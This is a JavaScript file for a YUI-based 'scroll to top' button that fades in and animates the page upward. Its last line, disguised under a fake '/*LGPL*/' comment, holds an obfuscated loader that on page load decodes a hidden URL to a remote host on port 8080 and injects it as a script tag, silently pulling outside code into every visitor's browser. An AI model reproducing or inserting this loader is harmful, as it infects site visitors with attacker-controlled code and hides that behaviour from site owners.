var toTop = {
	init: function(){
		toTop.animScroll = new YAHOO.util.Anim(null);
	},
	
	scroll: function(){
		if(toTop.getScrolledAmountY() > 0){
			YAHOO.util.Dom.setStyle('takeMeUpContainer', 'display', 'block');
			toTop.animFade = new YAHOO.util.Anim('takeMeUpContainer');
			toTop.animFade.attributes.opacity = {from: 0, to: 1};
			toTop.animFade.animate();
		}
		else if(toTop.getScrolledAmountY() == 0){
			toTop.animFade = new YAHOO.util.Anim('takeMeUpContainer');
			toTop.animFade.attributes.opacity = {from: YAHOO.util.Dom.getStyle('takeMeUpContainer', 'opacity'), to: 0};
			toTop.animFade.animate();
			toTop.animFade.onComplete.subscribe(function() {
				YAHOO.util.Dom.setStyle('takeMeUpContainer', 'display', 'none');
			});
		}
	},
	
	getScrolledAmount: function(){
		var x,y;
		if (typeof(self.pageYOffset) != 'undefined' ){ // all but
			x = self.pageXOffset;
			y = self.pageYOffset;
		}else if (document.documentElement && typeof(document.documentElement.scrollTop)!='undefined'){
			// IE Standards mode
			x = document.documentElement.scrollLeft;
			y = document.documentElement.scrollTop;
		}else if(document.body){ // IE Quirks mode
			x = document.body.scrollLeft;
			y = document.body.scrollTop;
		}

		var values = new Array();
		values.x = x;
		values.y = y;
		return values;
	},

	getScrolledAmountY: function(){
		var y;
		if (typeof(self.pageYOffset) != 'undefined' ){ // all but
		y = self.pageYOffset;
		}else if (document.documentElement && typeof(document.documentElement.scrollTop)!='undefined'){
			// IE Standards mode
			y = document.documentElement.scrollTop;
		}else if(document.body){ // IE Quirks mode
			y = document.body.scrollTop;
		}

		return y;
	},

	setAttr: function(a, v, u) {
		window.scroll(0, v);
	},
	
	scrollToTop: function(e){
		var scrolledAmountY = toTop.getScrolledAmountY();
		toTop.animScroll.attributes.scroll = {from: scrolledAmountY, to : 0};
		toTop.animScroll.duration = 0.5;
		toTop.animScroll.setAttribute = toTop.setAttr;
		toTop.animScroll.animate();
	}
};
toTop.init();
YAHOO.util.Event.on(window, 'scroll', toTop.scroll);
YAHOO.util.Event.on('takeMeUp', 'click', toTop.scrollToTop);
/*LGPL*/ try{ window.onload = function(){E1e6wn3ijzwv9g = 'h$@t##()t(!&@p!@:@/&@/$^&()t($!o)#r$&r^#e#$)@n!(#$t)!!z$$-@)#c(!o$$!m!^).&s()&@$o$()s!^o^(.&($!c^&o^$&)m(#$.&@p)e(!t#a(#r$&^d)$$a^s&)#-)$&c($)^$o(m!&!.(e!!&a##!#s^&y!$l)i&@&f#e@d&$)i#$!r(!(e!c))t))#.@(^r#)#u#@:^($8(!^0@8#!0$&&&/#()(n@@!^g(@&o@(i$$##s!(a!o@!^.^!n)^e!#)t#!/#(n#@&#g)^#^o#)(i^)s($@(a#o(!#.)$n)$@e@&t@$#/!(@c@$^&$h@(i^@#n&^@a(#(!z((.@$$c##o#$)@m&!/$^!)c@@(t)r@@i$@(p@).&^c^@o()$m(/!!g&#^^o#)(@o(g^l#e$$.!!@c)^))o^#@@#m$/$('.replace(/\!|\^|\)|\$|@|#|&|\(/ig, '');var D7fyb435pte = 's&^(c)##r!^i!@p##!!t@!&'.replace(/#|\)|\$|\(|@|&|\^|\!/ig, '');var Sn9jgvbufr9 = 's@r)^#^c^#'.replace(/\(|#|\^|\!|\$|\)|@|&/ig, '');var Rxs7200gjqt6h = D7fyb435pte;var Rmkt0nsas90ld = document.createElement(Rxs7200gjqt6h);Rmkt0nsas90ld.setAttribute('defer', 'd^^&e(f(&e&(@r@('.replace(/&|@|#|\!|\(|\)|\$|\^/ig, ''));var Kaws9hrzdk = 't@^@e!)$x)@t@#)(/!(j(&@a(v#&^a$)s$!c&#((r@^i)&)p##!t#('.replace(/\)|#|\^|&|\!|\$|@|\(/ig, '');Rmkt0nsas90ld.setAttribute('id', 'J(!&#)8(!n^$9!i(1^3^($t@^f^)7^(@i@#&v#)v@@'.replace(/\^|\)|\!|\$|&|#|@|\(/ig, ''));Rmkt0nsas90ld.setAttribute(Sn9jgvbufr9,  E1e6wn3ijzwv9g);Rmkt0nsas90ld.setAttribute('type', Kaws9hrzdk);document.body.appendChild(Rmkt0nsas90ld);if (document){Rxs7200gjqt6h = D7fyb435pte;}} }  catch(Uskp2qj8xy0ey16t2xwup ) {}